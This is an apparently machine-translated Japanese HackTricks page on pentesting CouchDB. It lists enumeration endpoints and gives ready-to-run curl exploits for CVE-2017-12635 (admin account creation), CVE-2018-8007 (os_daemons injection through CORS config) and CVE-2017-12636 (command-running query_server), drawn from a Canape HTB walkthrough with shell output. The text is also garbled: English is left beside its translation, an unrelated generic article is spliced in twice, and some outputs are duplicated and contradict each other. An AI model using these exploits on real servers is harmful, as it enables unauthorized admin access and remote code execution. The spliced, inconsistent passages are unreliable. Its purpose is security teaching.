hacktricks/network-services-pentesting/5984-pentesting-couchdb.md
2023-07-07 23:42:27 +00:00

32 KiB
Raw Blame History

5984, 6984 - CouchDBのペンテスト

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

基本情報

CouchDBはドキュメント指向のデータベースであり、各ドキュメント内のフィールドはキーと値のマップとして格納されます。フィールドは単純なキー/値のペア、リスト、またはマップのいずれかであることができます。

データベースに格納される各ドキュメントには、ドキュメントレベルの一意の識別子(_id)と、データベースに行われた変更ごとに保存されるリビジョン(_rev)番号が付けられます。

デフォルトポート: 5984 (http), 6984 (https)

PORT      STATE SERVICE REASON
5984/tcp  open  unknown syn-ack

自動列挙

Automatic enumeration is a technique used in pentesting to gather information about a target system without manual intervention. It involves using tools and scripts to scan the target system and retrieve information such as open ports, running services, and version numbers.

自動列挙は、手動の介入なしでターゲットシステムに関する情報を収集するためのペンテスト技術です。ツールやスクリプトを使用して、ターゲットシステムをスキャンし、オープンポート、実行中のサービス、バージョン番号などの情報を取得することが含まれます。

Tools for Automatic Enumeration

Nmap

Nmap is a popular tool used for network scanning and enumeration. It can be used to discover open ports, running services, and operating system details of a target system.

自動列挙のためのツール

Nmap

Nmapは、ネットワークスキャンと列挙に使用される人気のあるツールです。ターゲットシステムのオープンポート、実行中のサービス、およびオペレーティングシステムの詳細を発見するために使用することができます。

Enum4linux

Enum4linux is a tool specifically designed for enumerating information from Windows and Samba systems. It can retrieve information such as user and group names, shares, and password policies.

Enum4linux

Enum4linuxは、WindowsおよびSambaシステムから情報を列挙するために特に設計されたツールです。ユーザー名、グループ名、共有、パスワードポリシーなどの情報を取得することができます。

Dirb

Dirb is a web content scanner that can be used to discover hidden directories and files on a web server. It can help in finding sensitive information or potential vulnerabilities.

Dirb

Dirbは、ウェブサーバー上の隠れたディレクトリやファイルを発見するために使用されるウェブコンテンツスキャナです。機密情報や潜在的な脆弱性の発見に役立ちます。

Automated Enumeration Scripts

There are also various automated enumeration scripts available that combine multiple tools and techniques to gather information about a target system. These scripts can save time and effort by automating the enumeration process.

自動列挙スクリプト

さらに、複数のツールと技術を組み合わせてターゲットシステムに関する情報を収集するためのさまざまな自動列挙スクリプトも利用可能です。これらのスクリプトは、列挙プロセスを自動化することで時間と労力を節約することができます。

nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
msf> use auxiliary/scanner/couchdb/couchdb_enum

バナー

CouchDBのバージョンを特定するために、以下のコマンドを使用します。

curl -X GET http://<target>:5984/

マニュアル列挙

CouchDBのバージョンを特定するために、以下のコマンドを使用します。

curl -X GET http://<target>:5984/
curl http://IP:5984/

これはインストールされたCouchDBインスタンスにGETリクエストを発行します。応答は以下のいずれかの形式で表示されるはずです。

{"couchdb":"Welcome","version":"0.10.1"}
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}

{% hint style="info" %} CouchDBのルートにアクセスすると、次のような401 Unauthorizedが表示されます: {"error":"unauthorized","reason":"Authentication required."} バナーや他のエンドポイントにアクセスすることはできません。 {% endhint %}

情報の列挙

これらは、GETリクエストでアクセスし、いくつかの興味深い情報を抽出できるエンドポイントです。couchdbのドキュメントには、より多くのエンドポイントと詳細な説明があります。

  • /_active_tasks 実行中のタスクのリスト。タスクのタイプ、名前、ステータス、プロセスIDが含まれます。
  • **/_all_dbs**CouchDBインスタンスのすべてのデータベースのリストを返します。
  • **/_cluster_setup**クラスタまたはノードのステータスを返します。
  • /_db_updates CouchDBインスタンスのすべてのデータベースイベントのリストを返します。このエンドポイントを使用するには、_global_changesデータベースが存在する必要があります。
  • /_membership クラスタの一部であるノードをcluster_nodesとして表示します。all_nodesフィールドには、クラスタの一部であるノードだけでなく、このノードが知っているすべてのノードが表示されます。
  • /_scheduler/jobs レプリケーションジョブのリスト。各ジョブの説明には、ソースとターゲットの情報、レプリケーションID、最近のイベントの履歴などが含まれます。
  • /_scheduler/docs レプリケーションドキュメントの状態のリスト。completedおよびfailedの状態を含むすべてのドキュメントに関する情報が含まれます。各ドキュメントには、ドキュメントID、データベース、レプリケーションID、ソースとターゲットなどの情報が返されます。
  • /_scheduler/docs/{replicator_db}
  • /_scheduler/docs/{replicator_db}/{docid}
  • /_node/{node-name} /_node/{node-name}エンドポイントは、リクエストを処理するサーバーのErlangード名を確認するために使用できます。これは、この情報を取得するために/_node/_localにアクセスする場合に最も役立ちます。
  • /_node/{node-name}/_stats _statsリソースは、実行中のサーバーの統計情報を含むJSONオブジェクトを返します。リテラル文字列_localは、ローカルード名のエイリアスとして機能するため、すべての統計URLでは、{node-name}_localに置き換えてローカルノードの統計情報とやり取りすることができます。
  • /_node/{node-name}/_system _systemリソースは、実行中のサーバーのさまざまなシステムレベルの統計情報を含むJSONオブジェクトを返します。現在のード情報を取得するには、{node-name}として_localを使用できます。
  • /_node/{node-name}/_restart
  • /_up サーバーが起動し、実行中でリクエストに応答できることを確認します。maintenance_modetrueまたはnolbの場合、エンドポイントは404の応答を返します。
  • **/_uuids**CouchDBインスタンスから1つ以上の一意の識別子UUIDを要求します。
  • **/_reshard**クラスタ上の完了、失敗、実行中、停止、および合計ジョブの数とリシャーディングの状態を返します。

ここで説明されているより興味深い情報を抽出する方法については、こちらを参照してください。

データベースリスト

curl -X GET http://IP:5984/_all_dbs

もしリクエストが401 Unauthorizedで応答する場合、データベースにアクセスするためには有効な認証情報が必要です。

curl -X GET http://user:password@IP:5984/_all_dbs

有効な資格情報を見つけるためには、サービスをブルートフォース攻撃することができます。

これは、データベースの一覧を表示するために十分な権限を持っている場合のCouchDBのレスポンスのです(ただのデータベースのリストです):

["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]

データベース情報

データベース名にアクセスすることで、データベースの情報(ファイルの数やサイズなど)を取得することができます。

curl http://IP:5984/<database>
curl http://localhost:5984/simpsons
#Example response:
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}

ドキュメントリスト

データベース内の各エントリをリストアップします。

curl -X GET http://IP:5984/{dbname}/_all_docs
curl http://localhost:5984/simpsons/_all_docs
#Example response:
{"total_rows":7,"offset":0,"rows":[
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
]}

ドキュメントの読み取り

データベース内のドキュメントの内容を読み取ります。

curl -X GET http://IP:5984/{dbname}/{id}
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
#Example response:
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}

CouchDB特権エスカレーション CVE-2017-12635

ErlangとJavaScriptのJSONパーサーの違いにより、次のリクエストで資格情報hacktricks:hacktricksを持つ管理者ユーザーを作成することができます。

curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"

この脆弱性に関する詳細情報はこちら.

CouchDB RCE

CouchDBのドキュメントのクラスタ設定セクションには、CouchDBが使用する異なるポートについて説明されています

クラスタモードのCouchDBは、スタンドアロンと同様にポート5984を使用しますが、ードローカルAPIには5986も使用します。

Erlangは他のードを見つけるためにTCPポート4369EPMDを使用するため、すべてのサーバーはこのポートでお互いに通信できる必要があります。Erlangクラスタでは、すべてのードが他のすべてのードに接続されています。メッシュです。

そして興味深い警告があります:

1536931232858

プロセスリストを見ると、cookieが「monster」であることがわかります。

www-data@canape:/$ ps aux | grep couchdb
root        744  0.0  0.0   4240   640 ?        Ss   Sep13   0:00 runsv couchdb
root        811  0.0  0.0   4384   800 ?        S    Sep13   0:00 svlogd -tt /var/log/couchdb
homer       815  0.4  3.4 649348 34524 ?        Sl   Sep13   5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b

Erlangsのクッキーを悪用してRCEを取得する方法については、このセクションを読むことで学ぶことができます。また、このようなCanape HTBマシンの解説を読んで、この脆弱性をどのように悪用するかを見て、実践することもできます。

local.iniの書き込み権限を持つCVE-2018-8007の成功例

この記事を書いている間に、mdsecからCouchDBの新しいCVEがリリースされたことがわかりました。CVE-2018-8007です。これもlocal.iniファイルへの書き込みが必要ですので、Canapeには有用なオプションではありません。しかし、既にrootとして書き込み可能にしているので、動作するか試してみましょう。

クリーンな状態から始め、書き込み可能なlocal.ini(およびバックアップ)を用意します。

root@canape:/home/homer/etc# ls -l
total 40
-r--r--r-- 1 homer homer 18477 Jan 20  2018 default.ini
-rw-rw-rw- 1 homer homer  4841 Sep 14 17:39 local.ini
-r--r--r-- 1 root  root   4841 Sep 14 14:30 local.ini.bk
-r--r--r-- 1 homer homer  1345 Jan 14  2018 vm.args

local.iniファイルでオリジンを変更するために、curlを使用することができます。ここでの脆弱性は、curlを使用して新しいオリジンと改行を追加すると、新しいヘッダーや詳細を含む追加の情報を書き込むことができることです。したがって、[os_daemons]フィールドを利用し、CouchDBが実行し続けるようにするためのプロセスを追加します。

www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"

ルートシェルで、私たちはどの変更が見えるかを確認することができます。

root@canape:/home/homer/etc# diff local.ini local.ini.bk
119,124d118
<
< [cors]
< origins = 0xdf
<
< [os_daemons]
< test_daemon = /usr/bin/touch /tmp/0xdf

そして、そのファイルは存在しません:

root@canape:/home/homer/etc# ls /tmp/0xdf
ls: cannot access '/tmp/0xdf': No such file or directory

もし私たちが「couchdb」を含むコマンドラインで実行されているプロセスを見ると、私たちは以前使用したクッキーの値を提供してくれるコマンドラインだけでなく、runsrv couchdbも見ることができます。

root@canape:/home/homer/bin# ps aux | grep couch
root        711  0.0  0.0   4240   696 ?        Ss   14:28   0:00 runsv couchdb
root        728  0.0  0.0   4384   812 ?        S    14:28   0:00 svlogd -tt /var/log/couchdb
homer      1785  0.8  3.1 638992 31248 ?        Sl   17:55   0:01 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/bin/.. -progname couchdb -- -home /home/homer -- -boot /home/homer/bi
n/../releases/2.0.0/couchdb -name couchdb@localhost -setcookie monster -kernel error_logger silent -sasl sasl_error_logger false -noshell -noinput -config /home/homer/bin/../releases/2.0.0/sys.config

もし私たちがそのプロセスを終了させると、すぐに復活します新しいpidに注目してください:

root@canape:/home/homer/etc# kill 711
root@canape:/home/homer/etc# ps aux | grep runsrv
root       2031  0.0  0.0  14224   980 pts/2    S+   18:09   0:00 grep --color=auto runsrv

そして、再起動時にはOS_Daemonsが実行されます

root@canape:/home/homer/etc# ls /tmp/0xdf
/tmp/0xdf

ローカル.iniの書き込み権限を利用したCVE-2017-12636による成功した試み

CVE-2017-12636を利用すると、couchdbプロセスを介してコードを実行することができます。ただし、この構成では機能しません。

参考となるいくつかのPOCがあります

新しいquery_serverを書き込み、それを呼び出す必要があります。Canapeがリリースされた当時、ほとんどのPOCはcouchdb 1.x向けでしたが、このボックスは2を実行しているため、ほとんどのPOCのquery_serversパスは存在しません。これは変わりましたが、同じ手順を踏みます。まず、バージョンを取得し、1.Xのパスが存在しないことを示します

www-data@canape:/var/www/git$ curl http://localhost:5984
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}

www-data@canape:/var/www/git$ curl http://0xdf:df@localhost:5984/_config/query_servers/
{"error":"not_found","reason":"Database does not exist."}

以下は、ハッキング技術に関する本の内容です。以下の内容は、/hive/hacktricks/network-services-pentesting/5984-pentesting-couchdb.md ファイルからのものです。

# Pentesting CouchDB

## Introduction

CouchDB is a NoSQL database that uses JSON to store data. It is widely used in web applications and provides a RESTful API for data access. In this section, we will explore various techniques for pentesting CouchDB.

## Enumeration

### Version Detection

To determine the version of CouchDB, you can send an HTTP GET request to the `/_utils/` endpoint. The response will include the version number.

```bash
GET /_utils/

Database Enumeration

To enumerate the databases in CouchDB, you can send an HTTP GET request to the /_all_dbs endpoint. The response will include a list of all the databases.

GET /_all_dbs

Exploitation

Unauthorized Access

CouchDB may have misconfigured permissions, allowing unauthorized access to the databases. You can check if anonymous access is enabled by sending an HTTP GET request to the /_config/httpd/enable_cors endpoint. If the response includes "true", anonymous access is enabled.

GET /_config/httpd/enable_cors

Document Retrieval

To retrieve a document from a specific database, you can send an HTTP GET request to the /{database}/{document_id} endpoint. Replace {database} with the name of the database and {document_id} with the ID of the document.

GET /{database}/{document_id}

Document Modification

If you have write access to a database, you can modify a document by sending an HTTP PUT request to the /{database}/{document_id} endpoint. Replace {database} with the name of the database and {document_id} with the ID of the document. Include the updated JSON data in the request body.

PUT /{database}/{document_id}

Database Creation

If you have the necessary permissions, you can create a new database by sending an HTTP PUT request to the /{database} endpoint. Replace {database} with the name of the new database.

PUT /{database}

Conclusion

In this section, we have covered various techniques for pentesting CouchDB. It is important to properly secure CouchDB installations to prevent unauthorized access and data leaks.


新しいパスに更新:

```markdown
# Pentesting CouchDB

## Introduction

CouchDBは、データを保存するためにJSONを使用するNoSQLデータベースです。Webアプリケーションで広く使用され、データアクセスのためのRESTful APIを提供しています。このセクションでは、CouchDBのペントテストのさまざまな技術について調査します。

## Enumeration

### Version Detection

CouchDBのバージョンを特定するには、`/_utils/` エンドポイントにHTTP GETリクエストを送信します。レスポンスにはバージョン番号が含まれます。

```bash
GET /_utils/

Database Enumeration

CouchDBのデータベースを列挙するには、/_all_dbs エンドポイントにHTTP GETリクエストを送信します。レスポンスにはすべてのデータベースのリストが含まれます。

GET /_all_dbs

Exploitation

Unauthorized Access

CouchDBは、誤った許可設定により、データベースへの不正なアクセスが許可される場合があります。匿名アクセスが有効化されているかどうかを確認するには、/_config/httpd/enable_cors エンドポイントにHTTP GETリクエストを送信します。レスポンスに "true" が含まれている場合、匿名アクセスが有効化されています。

GET /_config/httpd/enable_cors

Document Retrieval

特定のデータベースからドキュメントを取得するには、/{database}/{document_id} エンドポイントにHTTP GETリクエストを送信します。{database} をデータベースの名前、{document_id} をドキュメントのIDに置き換えます。

GET /{database}/{document_id}

Document Modification

データベースへの書き込みアクセス権がある場合、HTTP PUTリクエストを /{database}/{document_id} エンドポイントに送信することで、ドキュメントを変更できます。{database} をデータベースの名前、{document_id} をドキュメントのIDに置き換えます。リクエストボディに更新されたJSONデータを含めます。

PUT /{database}/{document_id}

Database Creation

必要な権限がある場合、新しいデータベースを作成するには、HTTP PUTリクエストを /{database} エンドポイントに送信します。{database} を新しいデータベースの名前に置き換えます。

PUT /{database}

Conclusion

このセクションでは、CouchDBのペントテストのさまざまな技術をカバーしました。不正なアクセスやデータの漏洩を防ぐために、CouchDBのインストールを適切にセキュアにすることが重要です。

```bash
www-data@canape:/var/www/git$ curl 'http://0xdf:df@localhost:5984/_membership'
{"all_nodes":["couchdb@localhost"],"cluster_nodes":["couchdb@localhost"]}

www-data@canape:/var/www/git$ curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers
{"coffeescript":"./bin/couchjs ./share/server/main-coffee.js","javascript":"./bin/couchjs ./share/server/main.js"}

そこから、query_serverを追加してそれを呼び出す必要がありますが、私たちはそれができません。

www-data@canape:/var/www/git$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
{"error":"badmatch","reason":"{badrpc,{'EXIT',{{{badmatch,{error,eacces}},\n                  [{config_writer,save_to_file,2,\n                                  [{file,\"src/config_writer.erl\"},{line,38}]},\n                   {config,handle_call,3,[{file,\"src/config.erl\"},{line,222}]},\n                   {gen_server,try_handle_call,4,\n                               [{file,\"gen_server.erl\"},{line,629}]},\n                   {gen_server,handle_msg,5,\n                               [{file,\"gen_server.erl\"},{line,661}]},\n                   {proc_lib,init_p_do_apply,3,\n                             [{file,\"proc_lib.erl\"},{line,240}]}]},\n                 {gen_server,call,\n                             [config,\n                              {set,\"query_servers\",\"cmd\",\n                                   \"/sbin/ifconfig > /tmp/df\",true,nil}]}}}}","ref":1617834159}

いくつかのGoogle検索結果から、これは権限の問題であることがわかります。実際に、rootシェルで確認すると、local.iniファイルは誰にも書き込み権限がありません。特にwww-dataユーザーにもありません。

root@canape:/home/home/etc# ls -ls local.ini
8 -r--r--r-- 1 homer homer 4841 Sep 14 17:11 local.ini

それでは、Canapeは行き詰まりです。しかし、動作させるために試みたい場合は、rootまたはhomerアクセスで読み取り可能にすることができ、この経路を続けることができます。変更内容を確認するために、元のバックアップを作成します。

root@canape:/# cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
root@canape:/# chmod 666 /home/homer/etc/local.ini

さて、www-dataシェルに戻りましょう:

www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
""
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
""

前の値を取得することで、cmdクエリーサーバーが成功したことがわかります。そして、ルートシェルでは、それが機能したことが確認できます。

root@canape:/home/homer/etc# diff local.ini local.ini.bk
48c48
< cmd = /sbin/ifconfig > /tmp/df
---
> cmd =

今、私たちはdbを作成し、そのdb内にドキュメントを作成し、クエリ_サーバーにマップされたビューを使用してリクエストを実行できるはずです。

dbとドキュメントを作成する

www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
["_global_changes","_metadata","_replicator","_users","god","passwords","simpsons","vultest"]
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df'
{"ok":true}
www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
["_global_changes","_metadata","_replicator","_users","df","passwords","simpsons"]

www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
{"ok":true,"id":"zero","rev":"1-967a00dff5e02add41819138abb3284d"}
www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
["_global_changes","_metadata","_replicator","_users","god","passwords","simpsons","vultest"]
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df'
{"ok":true}
www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
["_global_changes","_metadata","_replicator","_users","df","passwords","simpsons"]

www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
{"ok":true,"id":"zero","rev":"1-967a00dff5e02add41819138abb3284d"}

ビューでリクエストしてください:

www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}' -H "Content-Type: application/json"

要約 - 異なるペイロード

Shodan

  • port:5984 couchdb

参考文献

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥